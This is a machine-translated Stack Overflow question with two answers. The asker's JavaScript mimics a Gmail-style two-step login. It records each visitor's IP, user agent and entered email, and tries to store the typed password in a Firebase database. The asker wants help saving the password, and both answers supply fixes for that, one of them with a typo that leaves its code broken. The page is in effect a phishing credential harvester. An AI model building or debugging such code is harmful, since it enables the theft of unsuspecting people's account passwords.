无法将数据保存到Firebase

时间:2018-03-22 11:41:39

标签: javascript html firebase firebase-realtime-database

我有三页。 第1页获取用户的电子邮件/用户名(与Gmail相同)。 获取密码并重定向到成功的登录页面。

我面临的问题: 当我在第1页输入电子邮件并重定向到第2页时,我可以获得用户代理,IP,时间戳。所有值都成功保存在数据库中。 现在在第2页中我输入密码但它没有保存在DB中。 以下是DB中的结果:

ip: 
"xxx.xxx.xxx.xx"
mobile: 
"vvccc"
timestamp: 
"22/2/2018 16:23:56:966"
useragent: 
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleW..."
firebase.initializeApp(config);
var userAgent = window.navigator.userAgent;
var req = new XMLHttpRequest();
var ip;
var timestamp;
req.onload = function () {

    var d = new Date();
    var dateformat = d.toTimeString();
    dateformat = dateformat.split(' ')[0];


    ip = JSON.parse(req.response).ip;
    timestamp = d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds();
    //savedata(ip,userAgent, d.getDate()+'/'+ d.getMonth()+'/'+ d.getFullYear()+' '+dateformat+':'+ d.getMilliseconds());
    console.log(ip + '  ' + userAgent + '  ' + dateformat);
    //Use ip asynchronously here
};

req.open("GET", "https://api.ipify.org/?format=json");
req.send();


var database = firebase.database();
var nextbutton = document.getElementById('Button1'); // Data from page 1 successfully reditected to page 2.
var pass = document.getElementById('Button2'); // Now from page 2 i redirected to page 3 , but I am unable to save its value in table.
var mobileno = document.getElementById('identifierId'); //page 1 textbox id
var password = document.getElementById('identifierId2'); //page 2 textbox id -> Unable to get its data

nextbutton.addEventListener('click', function () {
    //var d = new Date();
    //var dateformat = d.toTimeString();
    //dateformat = dateformat.split(' ')[0];

    //window.location.href = "http://stackoverflow.com";

    var ip = JSON.parse(req.response).ip;
    // savedata(ip, userAgent, d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds());
    console.log(ip + '  ' + userAgent);
    database.ref('/email').push({
        mobile: mobileno.value,
        ip: ip,
        useragent: userAgent,
        timestamp: timestamp

    }

        )

    console.log("meesage sent" + mobileno.value)
})

pass.addEventListener('click', function () {


    var ip = JSON.parse(req.response).ip;
    console.log(ip + '  ' + userAgent);
    database.ref('/email').push({
        passw: password.value

    }

        )
    console.log("meesage sent" + password.value)
})

2 个答案:

答案 0 :(得分:0)

我不确定这是否是您遇到的确切问题,但我看了一下文档(https://firebase.google.com/docs/reference/js/firebase.database.Reference)。
我的假设
似乎在步骤1 中,您已经在firebase数据库中创建了一个新对象,并希望稍后使用密码更新该对象。

稍后,您尝试更新该对象,但您正在使用该代码创建新对象。因此,不会创建或更新它,因为已存在具有相同键的对象。

您应该更新对象,而不是创建另一个

  

注意:我从未使用过firebase,所以我可能会使用错误的标识符等,但这是关于概念的。


这是更新密码的代码示例。 <强>已更新

pass.addEventListener('click', function() {
    var ip = JSON.parse(req.response).ip;
    console.log(ip + '  ' + userAgent);

    /**
     * make sure you have user email to find the created tree
     * This is by the assumption that userEmail is the key from the email table
     */
    let userKey = mobelino.value;
    //Get the Account we just created
    let emailReference = database.ref('/email/' + userKey);
    //Update the password
    emailReference.set({
            pass: password
        })
        //On success
        .then(() => {
            console.log("Success");
        })
        //On error
        .catch(error => {
            console.log('Error: ' + error)
        });
});

答案 1 :(得分:0)

如果我的回答并非如此,那么也许你应该尝试从html中获取价值:

  

注意区别(pass:password | pass:password.value)

database.ref('/email').push({
        mobile: mobileno.value,
        ip: ip,
        useragent: userAgent,
        timestamp: timestamp,       


       //Before: pass: password
        pass: password.value

    }